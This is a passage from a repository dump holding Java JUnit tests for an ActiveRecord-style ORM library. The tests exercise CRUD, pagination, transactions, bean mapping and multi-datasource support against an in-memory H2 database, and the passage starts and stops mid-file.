latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n\n        assertEquals(0, errorCount.get());\n\n        int count1 = Db.use(\"multi_1\").queryForInt(\"SELECT count(*) FROM test_t\");\n        int count2 = Db.use(\"multi_2\").queryForInt(\"SELECT count(*) FROM test_t\");\n        assertEquals(threadCount, count1 + count2);\n\n        // 清理\n        Db.use(\"multi_1\").execute(\"DROP TABLE IF EXISTS test_t\");\n        Db.use(\"multi_2\").execute(\"DROP TABLE IF EXISTS test_t\");\n    }\n\n    // ==================== 14. findByColumnValueRecords边界测试 ====================\n\n    @Test\n    public void testFindByColumnValueRecordsNoMatch() {\n        List<Record> records = Db.findByColumnValueRecords(\"user_info\", \"user_name\", \"不存在的用户\");\n        assertNotNull(records);\n        assertTrue(records.isEmpty());\n    }\n\n    @Test(expected = IllegalArgumentException.class)\n    public void testFindByColumnValueRecordsMismatch() {\n        Db.findByColumnValueRecords(\"user_info\", \"user_name,age\", \"只有一个值\");\n    }\n\n    // ==================== 15. getRecordValue大小写不敏感测试 ====================\n\n    @Test\n    public void testUpdateWithCaseInsensitivePK() {\n        // H2返回大写列名，但主键配置为小写 \"id\"\n        Db.execute(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                new Object[]{\"测试用户\", 25});\n\n        Record record = Db.findById(\"user_info\", \"id\", 1);\n        assertNotNull(record);\n        // H2返回大写 ID\n        assertNotNull(record.get(\"ID\"));\n\n        // 更新应该能正常工作（通过大小写不敏感匹配找到PK值）\n        record.set(\"AGE\", 30);\n        boolean updated = Db.update(\"user_info\", \"id\", record);\n        assertTrue(updated);\n\n        Record reloaded = Db.findById(\"user_info\", \"id\", 1);\n        assertEquals(30, ((Number) reloaded.get(\"AGE\")).intValue());\n    }\n\n    // ==================== 16. Model类型getter测试 ====================\n\n    @Test\n    public void testModelTypedGetters() {\n        TestUserModel model = new TestUserModel();\n        model.set(\"str\", \"hello\");\n        model.set(\"integer\", 42);\n        model.set(\"longVal\", 100L);\n        model.set(\"doubleVal\", 3.14);\n        model.set(\"floatVal\", 2.5f);\n        model.set(\"boolVal\", true);\n        model.set(\"bigDecimal\", new BigDecimal(\"99.99\"));\n        model.set(\"bigInteger\", new BigInteger(\"12345678901234567890\"));\n        model.set(\"bytes\", new byte[]{1, 2, 3});\n\n        assertEquals(\"hello\", model.getStr(\"str\"));\n        assertEquals(Integer.valueOf(42), model.getInt(\"integer\"));\n        assertEquals(Long.valueOf(100L), model.getLong(\"longVal\"));\n        assertEquals(Double.valueOf(3.14), model.getDouble(\"doubleVal\"));\n        assertEquals(Float.valueOf(2.5f), model.getFloat(\"floatVal\"));\n        assertTrue(model.getBoolean(\"boolVal\"));\n        assertEquals(new BigDecimal(\"99.99\"), model.getBigDecimal(\"bigDecimal\"));\n        assertEquals(new BigInteger(\"12345678901234567890\"), model.getBigInteger(\"bigInteger\"));\n        assertArrayEquals(new byte[]{1, 2, 3}, model.getBytes(\"bytes\"));\n    }\n\n    @Test\n    public void testModelGetWithDefault() {\n        TestUserModel model = new TestUserModel();\n        model.set(\"a\", 1);\n        assertEquals(1, (int) model.get(\"a\"));\n        assertEquals(\"default\", model.get(\"missing\", \"default\"));\n    }\n\n    // ==================== 17. insert返回主键测试 ====================\n\n    @Test\n    public void testInsertReturnsAutoIncrementKey() {\n        long key1 = Db.insert(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                new Object[]{\"用户1\", 20});\n        long key2 = Db.insert(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                new Object[]{\"用户2\", 21});\n        assertTrue(key1 > 0);\n        assertTrue(key2 > key1);\n    }\n\n    // ==================== 18. findBeanById测试 ====================\n\n    @Test\n    public void testFindBeanByIdNotFound() {\n        // 使用已存在的表 user_info 查询不存在的ID\n        Map<String, Object> result = Db.queryForMap(\"SELECT * FROM user_info WHERE id = ?\", 99999);\n        assertNotNull(result);\n        assertTrue(result.isEmpty()); // EmptyResultDataAccessException 返回空Map\n    }\n\n    // ==================== 19. Db.use异常测试 ====================\n\n    @Test(expected = RuntimeException.class)\n    public void testUseEmptyConfigName() {\n        Db.use(\"\");\n    }\n\n    @Test(expected = RuntimeException.class)\n    public void testUseNonExistentConfigName() {\n        Db.use(\"absolutely_non_existent_config_name_xyz\");\n    }\n\n    // ==================== 测试用Model/实体类 ====================\n\n    @Table(name = \"user_info\")\n    public static class TestUserModel extends Model<TestUserModel> {}\n\n    public static class TestEntity {\n        Long id;\n        String userName;\n        int age;\n    }\n\n    @Table(name = \"t_entity\")\n    public static class AnnotatedEntity {\n        @Id\n        Long id;\n        String userName;\n        @Column(name = \"email_addr\")\n        String email;\n        @Transient\n        String tempField;\n    }\n\n    public static class ParentEntity {\n        Long id;\n        String userName;\n    }\n\n    public static class ChildEntity extends ParentEntity {\n        String childField;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/DbActiveRecordTest.java",
    "content": "package io.github.wujun728.db;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.*;\nimport io.github.wujun728.db.record.mapper.BatchSql;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport org.junit.*;\n\nimport javax.sql.DataSource;\nimport java.lang.reflect.Field;\nimport java.util.*;\n\nimport static org.junit.Assert.*;\n\n/**\n * ORM框架完整单元测试\n * 使用H2内存数据库，覆盖所有核心功能：\n * 1. SQL模式 - execute, queryList, queryForMap, queryForInt, queryForString等\n * 2. Record模式 - save, find, findById, update, delete, paginate\n * 3. Bean模式 - saveBean, updateBean, deleteBean, findBeanList, findBeanById, findBeanPages\n * 4. 事务支持 - tx, doInTransaction\n * 5. 工具类 - RecordUtil的各种转换方法\n * 6. 多数据源支持\n */\npublic class DbActiveRecordTest {\n\n    private static DataSource dataSource;\n\n    @BeforeClass\n    public static void setup() {\n        // 使用H2内存数据库\n        DruidDataSource ds = new DruidDataSource();\n        ds.setUrl(\"jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds.setUsername(\"sa\");\n        ds.setPassword(\"\");\n        ds.setDriverClassName(\"org.h2.Driver\");\n        dataSource = ds;\n\n        // 初始化主数据源\n        Db.init(dataSource);\n\n        // 创建测试表\n        Db.execute(\"CREATE TABLE IF NOT EXISTS user_info (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"user_name VARCHAR(100), \" +\n                \"age INT, \" +\n                \"email VARCHAR(200), \" +\n                \"create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\" +\n                \")\");\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS sys_config (\" +\n                \"config_key VARCHAR(100) PRIMARY KEY, \" +\n                \"config_value VARCHAR(500)\" +\n                \")\");\n    }\n\n    @Before\n    public void beforeEach() {\n        // 清空测试数据\n        Db.execute(\"DELETE FROM user_info\");\n        Db.execute(\"DELETE FROM sys_config\");\n        // 重置自增\n        Db.execute(\"ALTER TABLE user_info ALTER COLUMN id RESTART WITH 1\");\n    }\n\n    @AfterClass\n    public static void teardown() {\n        Db.execute(\"DROP TABLE IF EXISTS user_info\");\n        Db.execute(\"DROP TABLE IF EXISTS sys_config\");\n    }\n\n    // ==================== SQL模式测试 ====================\n\n    @Test\n    public void testExecute() {\n        int result = Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('张三', 25, 'zhangsan@test.com')\");\n        assertEquals(1, result);\n    }\n\n    @Test\n    public void testExecuteWithParams() {\n        int result = Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                new Object[]{\"李四\", 30, \"lisi@test.com\"});\n        assertEquals(1, result);\n    }\n\n    @Test\n    public void testUpdate() {\n        Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('王五', 28, 'wangwu@test.com')\");\n        int result = Db.update(\"UPDATE user_info SET age = ? WHERE user_name = ?\", 29, \"王五\");\n        assertEquals(1, result);\n    }\n\n    @Test\n    public void testInsertReturnKey() {\n        long key = Db.insert(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                new Object[]{\"赵六\", 35, \"zhaoliu@test.com\"});\n        assertTrue(key > 0);\n    }\n\n    @Test\n    public void testBatchExecute() {\n        List<Object[]> batchParams = new ArrayList<>();\n        batchParams.add(new Object[]{\"用户A\", 20, \"a@test.com\"});\n        batchParams.add(new Object[]{\"用户B\", 21, \"b@test.com\"});\n        batchParams.add(new Object[]{\"用户C\", 22, \"c@test.com\"});\n\n        int result = Db.batchExecute(\n                \"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                batchParams);\n        assertEquals(1, result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(3, count);\n    }\n\n    @Test\n    public void testQueryList() {\n        insertTestUsers(3);\n        List<Map<String, Object>> list = Db.queryList(\"SELECT * FROM user_info\");\n        assertEquals(3, list.size());\n    }\n\n    @Test\n    public void testQueryListWithParams() {\n        insertTestUsers(5);\n        List<Map<String, Object>> list = Db.queryList(\"SELECT * FROM user_info WHERE age > ?\", 22);\n        assertTrue(list.size() > 0);\n    }\n\n    @Test\n    public void testQueryForMap() {\n        insertTestUsers(1);\n        Map<String, Object> map = Db.queryForMap(\"SELECT * FROM user_info WHERE id = ?\", 1);\n        assertNotNull(map);\n        assertFalse(map.isEmpty());\n    }\n\n    @Test\n    public void testQueryForInt() {\n        insertTestUsers(3);\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(3, count);\n    }\n\n    @Test\n    public void testQueryForLong() {\n        insertTestUsers(3);\n        long count = Db.queryForLong(\"SELECT count(*) FROM user_info\");\n        assertEquals(3L, count);\n    }\n\n    @Test\n    public void testQueryForString() {\n        Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('测试', 25, 'test@test.com')\");\n        String name = Db.queryForString(\"SELECT user_name FROM user_info WHERE id = ?\", 1);\n        assertEquals(\"测试\", name);\n    }\n\n    @Test\n    public void testQueryFirst() {\n        insertTestUsers(3);\n        Object result = Db.queryFirst(\"SELECT count(*) FROM user_info\");\n        assertNotNull(result);\n        assertTrue(((Number) result).intValue() == 3);\n    }\n\n    @Test\n    public void testCount() {\n        insertTestUsers(5);\n        int count = Db.count(\"SELECT count(*) FROM user_info\");\n        assertEquals(5, count);\n    }\n\n    // ==================== Record模式 - CRUD测试 ====================\n\n    @Test\n    public void testRecordSave() {\n        Record record = new Record();\n        record.set(\"user_name\", \"张三\");\n        record.set(\"age\", 25);\n        record.set(\"email\", \"zhangsan@test.com\");\n\n        boolean result = Db.save(\"user_info\", record);\n        assertTrue(result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(1, count);\n    }\n\n    @Test\n    public void testRecordSaveWithPrimaryKey() {\n        Record record = new Record();\n        record.set(\"user_name\", \"李四\");\n        record.set(\"age\", 30);\n        record.set(\"email\", \"lisi@test.com\");\n\n        boolean result = Db.save(\"user_info\", \"id\", record);\n        assertTrue(result);\n    }\n\n    @Test\n    public void testRecordFindById() {\n        insertTestUsers(1);\n        Record record = Db.findById(\"user_info\", \"id\", 1);\n        assertNotNull(record);\n        assertEquals(\"用户1\", record.getStr(\"USER_NAME\"));\n    }\n\n    @Test\n    public void testRecordFindByIds() {\n        insertTestUsers(3);\n        Record record = Db.findByIds(\"user_info\", \"id\", 2);\n        assertNotNull(record);\n    }\n\n    @Test\n    public void testRecordFind() {\n        insertTestUsers(5);\n        List<Record> records = Db.find(\"SELECT * FROM user_info WHERE age > ?\", 22);\n        assertNotNull(records);\n        assertTrue(records.size() > 0);\n    }\n\n    @Test\n    public void testRecordFindAll() {\n        insertTestUsers(3);\n        List<Record> records = Db.findAll(\"user_info\");\n        assertEquals(3, records.size());\n    }\n\n    @Test\n    public void testRecordFindFirst() {\n        insertTestUsers(3);\n        Record record = Db.findFirst(\"SELECT * FROM user_info ORDER BY id LIMIT 1\");\n        assertNotNull(record);\n    }\n\n    @Test\n    public void testRecordUpdate() {\n        insertTestUsers(1);\n        Record record = Db.findById(\"user_info\", \"id\", 1);\n        assertNotNull(record);\n        // H2 returns uppercase column names, so use uppercase to avoid duplicate column issue\n        record.set(\"AGE\", 99);\n        boolean result = Db.update(\"user_info\", \"id\", record);\n        assertTrue(result);\n\n        Record updated = Db.findById(\"user_info\", \"id\", 1);\n        assertEquals(99, ((Number) updated.get(\"AGE\")).intValue());\n    }\n\n    @Test\n    public void testRecordDelete() {\n        insertTestUsers(1);\n        Record record = Db.findById(\"user_info\", \"id\", 1);\n        assertNotNull(record);\n\n        boolean result = Db.delete(\"user_info\", \"id\", record);\n        assertTrue(result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(0, count);\n    }\n\n    @Test\n    public void testRecordDeleteById() {\n        insertTestUsers(1);\n        boolean result = Db.deleteById(\"user_info\", \"id\", 1);\n        assertTrue(result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(0, count);\n    }\n\n    @Test\n    public void testFindByColumnValueRecords() {\n        Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('张三', 25, 'zhangsan@test.com')\");\n        Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('张三', 30, 'zhangsan2@test.com')\");\n\n        List<Record> records = Db.findByColumnValueRecords(\"user_info\", \"user_name\", \"张三\");\n        assertNotNull(records);\n        assertEquals(2, records.size());\n    }\n\n    // ==================== Record模式 - 分页测试 ====================\n\n    @Test\n    public void testPaginate() {\n        insertTestUsers(25);\n        Page<Record> page = Db.paginate(1, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(10, page.getList().size());\n        assertEquals(1, page.getPageNumber());\n        assertEquals(10, page.getPageSize());\n        assertEquals(25, page.getTotalRow());\n        assertEquals(3, page.getTotalPage());\n    }\n\n    @Test\n    public void testPaginateWithParams() {\n        insertTestUsers(20);\n        Page<Record> page = Db.paginate(1, 5, \"SELECT *\", \"FROM user_info WHERE age > ?\", 22);\n        assertNotNull(page);\n        assertTrue(page.getList().size() <= 5);\n    }\n\n    @Test\n    public void testPaginateSecondPage() {\n        insertTestUsers(25);\n        Page<Record> page = Db.paginate(2, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(10, page.getList().size());\n        assertEquals(2, page.getPageNumber());\n    }\n\n    @Test\n    public void testPaginateByFullSql() {\n        insertTestUsers(15);\n        Page<Record> page = Db.paginateByFullSql(1, 5,\n                \"SELECT count(*) FROM user_info\",\n                \"SELECT * FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(5, page.getList().size());\n        assertEquals(15, page.getTotalRow());\n    }\n\n    @Test\n    public void testQueryMapPages() {\n        insertTestUsers(20);\n        Page<Map<String, Object>> page = Db.queryMapPages(\n                \"SELECT * FROM user_info ORDER BY id\", 1, 10, null);\n        assertNotNull(page);\n        assertEquals(10, page.getList().size());\n        assertEquals(20, page.getTotalRow());\n    }\n\n    // ==================== Bean模式测试 ====================\n\n    @Test\n    public void testSaveBean() {\n        UserInfo user = new UserInfo();\n        user.setId(100L);\n        user.setUserName(\"Bean用户\");\n        user.setAge(28);\n        user.setEmail(\"beanuser@test.com\");\n\n        boolean result = Db.saveBean(user);\n        assertTrue(result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(1, count);\n    }\n\n    @Test\n    public void testUpdateBean() {\n        UserInfo user = new UserInfo();\n        user.setId(100L);\n        user.setUserName(\"Bean用户\");\n        user.setAge(28);\n        user.setEmail(\"beanuser@test.com\");\n        Db.saveBean(user);\n\n        user.setAge(35);\n        user.setEmail(\"updated@test.com\");\n        boolean result = Db.updateBean(user);\n        assertTrue(result);\n\n        Map<String, Object> map = Db.queryForMap(\"SELECT * FROM user_info WHERE id = ?\", 100);\n        assertEquals(35, ((Number) map.get(\"AGE\")).intValue());\n    }\n\n    @Test\n    public void testDeleteBean() {\n        UserInfo user = new UserInfo();\n        user.setId(100L);\n        user.setUserName(\"Bean用户\");\n        user.setAge(28);\n        user.setEmail(\"beanuser@test.com\");\n        Db.saveBean(user);\n\n        boolean result = Db.deleteBean(user);\n        assertTrue(result);\n\n        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n        assertEquals(0, count);\n    }\n\n    @Test\n    public void testFindBeanList() {\n        insertTestUsers(5);\n        List<UserInfo> list = Db.findBeanList(UserInfo.class, \"SELECT * FROM user_info\");\n        assertNotNull(list);\n        assertEquals(5, list.size());\n    }\n\n    @Test\n    public void testFindBeanListWithParams() {\n        insertTestUsers(10);\n        List<UserInfo> list = Db.findBeanList(UserInfo.class,\n                \"SELECT * FROM user_info WHERE age > ?\", 23);\n        assertNotNull(list);\n        assertTrue(list.size() > 0);\n    }\n\n    @Test\n    public void testFindBeanPages() {\n        insertTestUsers(20);\n        Page<UserInfo> page = Db.findBeanPages(UserInfo.class, 1, 5,\n                \"SELECT * FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(5, page.getList().size());\n        assertEquals(20, page.getTotalRow());\n        assertEquals(4, page.getTotalPage());\n    }\n\n    // ==================== 事务测试 ====================\n\n    @Test\n    public void testTxCommit() {\n        boolean result = Db.tx(() -> {\n            Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('事务用户1', 20, 'tx1@test.com')\");\n            Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('事务用户2', 21, 'tx2@test.com')\");\n            return true;\n        });\n        assertTrue(result);\n        assertEquals(2, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testTxRollback() {\n        boolean result = Db.tx(() -> {\n            Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES('事务用户1', 20, 'tx1@test.com')\");\n            return false; // 返回false触发回滚\n        });\n        assertFalse(result);\n        assertEquals(0, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testDoInTransactionWithBatchSql() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                new Object[]{\"批量1\", 20, \"batch1@test.com\"});\n        batchSql.addBatch(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                new Object[]{\"批量2\", 21, \"batch2@test.com\"});\n        batchSql.addBatch(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                new Object[]{\"批量3\", 22, \"batch3@test.com\"});\n\n        int result = Db.doInTransaction(batchSql);\n        assertEquals(1, result);\n        assertEquals(3, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    // ==================== Record对象操作测试 ====================\n\n    @Test\n    public void testRecordSetAndGet() {\n        Record record = new Record();\n        record.set(\"name\", \"张三\");\n        record.set(\"age\", 25);\n        record.set(\"score\", 98.5);\n        record.set(\"active\", true);\n\n        assertEquals(\"张三\", record.getStr(\"name\"));\n        assertEquals(Integer.valueOf(25), record.getInt(\"age\"));\n        assertEquals(Double.valueOf(98.5), record.getDouble(\"score\"));\n        assertTrue(record.getBoolean(\"active\"));\n    }\n\n    @Test\n    public void testRecordFluentApi() {\n        Record record = new Record()\n                .set(\"key1\", \"value1\")\n                .set(\"key2\", \"value2\")\n                .set(\"key3\", \"value3\");\n\n        assertEquals(3, record.getColumns().size());\n        assertEquals(\"value1\", record.get(\"key1\"));\n    }\n\n    @Test\n    public void testRecordGetColumnNames() {\n        Record record = new Record();\n        record.set(\"col1\", \"a\");\n        record.set(\"col2\", \"b\");\n\n        String[] names = record.getColumnNames();\n        assertEquals(2, names.length);\n    }\n\n    @Test\n    public void testRecordGetColumnValues() {\n        Record record = new Record();\n        record.set(\"col1\", \"a\");\n        record.set(\"col2\", \"b\");\n\n        Object[] values = record.getColumnValues();\n        assertEquals(2, values.length);\n    }\n\n    @Test\n    public void testRecordRemove() {\n        Record record = new Record();\n        record.set(\"a\", 1);\n        record.set(\"b\", 2);\n        record.remove(\"a\");\n\n        assertNull(record.get(\"a\"));\n        assertEquals(1, record.getColumns().size());\n    }\n\n    @Test\n    public void testRecordRemoveNullValueColumns() {\n        Record record = new Record();\n        record.set(\"a\", 1);\n        record.set(\"b\", null);\n        record.set(\"c\", \"hello\");\n        record.removeNullValueColumns();\n\n        assertEquals(2, record.getColumns().size());\n        assertNull(record.get(\"b\"));\n    }\n\n    // ==================== RecordUtil工具类测试 ====================\n\n    @Test\n    public void testToUnderlineCase() {\n        assertEquals(\"user_name\", RecordUtil.toUnderlineCase(\"userName\"));\n        assertEquals(\"create_time\", RecordUtil.toUnderlineCase(\"createTime\"));\n        assertEquals(\"id\", RecordUtil.toUnderlineCase(\"id\"));\n        assertNull(RecordUtil.toUnderlineCase(null));\n    }\n\n    @Test\n    public void testToCamelCase() {\n        assertEquals(\"userName\", RecordUtil.toCamelCase(\"user_name\"));\n        assertEquals(\"createTime\", RecordUtil.toCamelCase(\"create_time\"));\n        assertEquals(\"id\", RecordUtil.toCamelCase(\"id\"));\n        assertNull(RecordUtil.toCamelCase(null));\n    }\n\n    @Test\n    public void testMapToRecord() {\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 1L);\n        map.put(\"name\", \"test\");\n\n        Record record = RecordUtil.mapToRecord(map);\n        assertNotNull(record);\n        assertEquals(Long.valueOf(1L), record.get(\"id\"));\n        assertEquals(\"test\", record.get(\"name\"));\n    }\n\n    @Test\n    public void testMapToRecords() {\n        List<Map<String, Object>> maps = new ArrayList<>();\n        Map<String, Object> map1 = new HashMap<>();\n        map1.put(\"id\", 1L);\n        maps.add(map1);\n        Map<String, Object> map2 = new HashMap<>();\n        map2.put(\"id\", 2L);\n        maps.add(map2);\n\n        List<Record> records = RecordUtil.mapToRecords(maps);\n        assertEquals(2, records.size());\n    }\n\n    @Test\n    public void testRecordToMap() {\n        Record record = new Record();\n        record.set(\"id\", 1L);\n        record.set(\"name\", \"test\");\n\n        Map<String, Object> map = RecordUtil.recordToMap(record);\n        assertNotNull(map);\n        assertEquals(1L, map.get(\"id\"));\n    }\n\n    @Test\n    public void testRecordToMaps() {\n        List<Record> records = new ArrayList<>();\n        records.add(new Record().set(\"id\", 1L));\n        records.add(new Record().set(\"id\", 2L));\n\n        List<Map<String, Object>> maps = RecordUtil.recordToMaps(records);\n        assertEquals(2, maps.size());\n    }\n\n    @Test\n    public void testBeanToRecord() {\n        UserInfo user = new UserInfo();\n        user.setId(1L);\n        user.setUserName(\"张三\");\n        user.setAge(25);\n\n        Record record = RecordUtil.beanToRecord(user);\n        assertNotNull(record);\n        assertEquals(Long.valueOf(1L), record.get(\"id\"));\n        assertEquals(\"张三\", record.get(\"user_name\"));\n        assertEquals(Integer.valueOf(25), record.get(\"age\"));\n    }\n\n    @Test\n    public void testRecordToBean() {\n        Record record = new Record();\n        record.set(\"ID\", 1L);\n        record.set(\"USER_NAME\", \"张三\");\n        record.set(\"AGE\", 25);\n\n        UserInfo user = RecordUtil.recordToBean(record, UserInfo.class);\n        assertNotNull(user);\n    }\n\n    @Test\n    public void testMapToBean() {\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 1L);\n        map.put(\"userName\", \"张三\");\n        map.put(\"age\", 25);\n\n        UserInfo user = RecordUtil.mapToBean(map, UserInfo.class);\n        assertNotNull(user);\n        assertEquals(\"张三\", user.getUserName());\n        assertEquals(25, user.getAge());\n    }\n\n    @Test\n    public void testMapToBeans() {\n        List<Map<String, Object>> maps = new ArrayList<>();\n        Map<String, Object> map1 = new HashMap<>();\n        map1.put(\"id\", 1L);\n        map1.put(\"userName\", \"用户1\");\n        maps.add(map1);\n        Map<String, Object> map2 = new HashMap<>();\n        map2.put(\"id\", 2L);\n        map2.put(\"userName\", \"用户2\");\n        maps.add(map2);\n\n        List<UserInfo> users = RecordUtil.mapToBeans(maps, UserInfo.class);\n        assertEquals(2, users.size());\n    }\n\n    @Test\n    public void testBeanToMap() {\n        UserInfo user = new UserInfo();\n        user.setId(1L);\n        user.setUserName(\"张三\");\n        user.setAge(25);\n\n        Map<String, Object> map = RecordUtil.beanToMap(user);\n        assertNotNull(map);\n        assertTrue(map.containsValue(\"张三\"));\n    }\n\n    @Test\n    public void testBeanToRecords() {\n        List<UserInfo> users = new ArrayList<>();\n        UserInfo u1 = new UserInfo();\n        u1.setId(1L);\n        u1.setUserName(\"用户1\");\n        users.add(u1);\n        UserInfo u2 = new UserInfo();\n        u2.setId(2L);\n        u2.setUserName(\"用户2\");\n        users.add(u2);\n\n        List<Record> records = RecordUtil.beanToRecords(users);\n        assertEquals(2, records.size());\n    }\n\n    @Test\n    public void testPageRecordToPageMap() {\n        List<Record> list = new ArrayList<>();\n        list.add(new Record().set(\"id\", 1L));\n        list.add(new Record().set(\"id\", 2L));\n        Page<Record> recordPage = new Page<>(list, 1, 10, 1, 2);\n\n        Page<Map<String, Object>> mapPage = RecordUtil.pageRecordToPageMap(recordPage);\n        assertNotNull(mapPage);\n        assertEquals(2, mapPage.getList().size());\n        assertEquals(1, mapPage.getPageNumber());\n    }\n\n    @Test\n    public void testGetTableName() {\n        String tableName = RecordUtil.getTableName(UserInfo.class);\n        assertEquals(\"user_info\", tableName);\n    }\n\n    @Test\n    public void testGetTableNameWithAnnotation() {\n        String tableName = RecordUtil.getTableName(AnnotatedUser.class);\n        assertEquals(\"t_user\", tableName);\n    }\n\n    @Test\n    public void testGetColumnName() throws NoSuchFieldException {\n        Field field = AnnotatedUser.class.getDeclaredField(\"userName\");\n        String columnName = RecordUtil.getColumnName(field);\n        assertEquals(\"user_name\", columnName);\n\n        Field emailField = AnnotatedUser.class.getDeclaredField(\"email\");\n        String emailColumnName = RecordUtil.getColumnName(emailField);\n        assertEquals(\"email_address\", emailColumnName);\n    }\n\n    @Test\n    public void testFormatSql() {\n        String sql = \"SELECT * FROM user WHERE name = ? AND age = ?\";\n        String formatted = RecordUtil.formatSql(sql, new Object[]{\"张三\", 25});\n        assertEquals(\"SELECT * FROM user WHERE name = '张三' AND age = '25'\", formatted);\n    }\n\n    @Test\n    public void testFormatSqlNoParams() {\n        String sql = \"SELECT * FROM user\";\n        String formatted = RecordUtil.formatSql(sql, null);\n        assertEquals(sql, formatted);\n    }\n\n    @Test\n    public void testAllFields() {\n        List<Field> fields = RecordUtil.allFields(UserInfo.class);\n        assertTrue(fields.size() >= 4); // id, userName, age, email at minimum\n    }\n\n    // ==================== 多数据源测试 ====================\n\n    @Test\n    public void testMultiDatasource() {\n        // 初始化第二个数据源\n        DruidDataSource ds2 = new DruidDataSource();\n        ds2.setUrl(\"jdbc:h2:mem:testdb2;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds2.setUsername(\"sa\");\n        ds2.setPassword(\"\");\n        ds2.setDriverClassName(\"org.h2.Driver\");\n\n        Db.init(\"second\", ds2);\n\n        // 在第二个数据源上操作\n        DbPro secondDb = Db.use(\"second\");\n        assertNotNull(secondDb);\n        secondDb.execute(\"CREATE TABLE IF NOT EXISTS test_table (id INT PRIMARY KEY, name VARCHAR(100))\");\n        secondDb.execute(\"INSERT INTO test_table(id, name) VALUES(1, 'test')\");\n\n        List<Map<String, Object>> result = secondDb.queryList(\"SELECT * FROM test_table\");\n        assertEquals(1, result.size());\n\n        // 主数据源不受影响\n        DbPro mainDb = Db.use();\n        assertNotNull(mainDb);\n\n        // 清理\n        secondDb.execute(\"DROP TABLE IF EXISTS test_table\");\n    }\n\n    @Test\n    public void testUseMainDatasource() {\n        DbPro mainDb = Db.use();\n        assertNotNull(mainDb);\n        assertNotNull(mainDb.getJdbcTemplate());\n        assertNotNull(mainDb.getDataSource());\n    }\n\n    @Test(expected = RuntimeException.class)\n    public void testUseNonExistentDatasource() {\n        Db.use(\"nonexistent\");\n    }\n\n    // ==================== Dialect测试 ====================\n\n    @Test\n    public void testDialectAutoDetection() {\n        DbPro dbPro = Db.use();\n        assertNotNull(dbPro.getDialectInstance());\n        // H2 should map to MysqlDialect\n        assertTrue(dbPro.getDialectInstance() instanceof io.github.wujun728.db.record.dialect.MysqlDialect);\n    }\n\n    // ==================== Page对象测试 ====================\n\n    @Test\n    public void testPageObject() {\n        List<String> list = Arrays.asList(\"a\", \"b\", \"c\");\n        Page<String> page = new Page<>(list, 1, 10, 1, 3);\n\n        assertEquals(3, page.getList().size());\n        assertEquals(1, page.getPageNumber());\n        assertEquals(10, page.getPageSize());\n        assertEquals(1, page.getTotalPage());\n        assertEquals(3, page.getTotalRow());\n    }\n\n    // ==================== BatchSql测试 ====================\n\n    @Test\n    public void testBatchSql() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"INSERT INTO user_info(user_name) VALUES(?)\", new Object[]{\"a\"});\n        batchSql.addBatch(\"INSERT INTO user_info(user_name) VALUES(?)\", new Object[]{\"b\"});\n\n        assertEquals(2, batchSql.getSqlList().size());\n\n        batchSql.clearBatch();\n        assertEquals(0, batchSql.getSqlList().size());\n    }\n\n    @Test\n    public void testBatchSqlWithList() {\n        BatchSql batchSql = new BatchSql();\n        List<Object> params = new ArrayList<>();\n        params.add(\"test\");\n        batchSql.addBatch(\"INSERT INTO user_info(user_name) VALUES(?)\", params);\n\n        assertEquals(1, batchSql.getSqlList().size());\n    }\n\n    @Test\n    public void testBatchSqlNoParams() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"DELETE FROM user_info\");\n\n        assertEquals(1, batchSql.getSqlList().size());\n    }\n\n    // ==================== DbException测试 ====================\n\n    @Test(expected = DbException.class)\n    public void 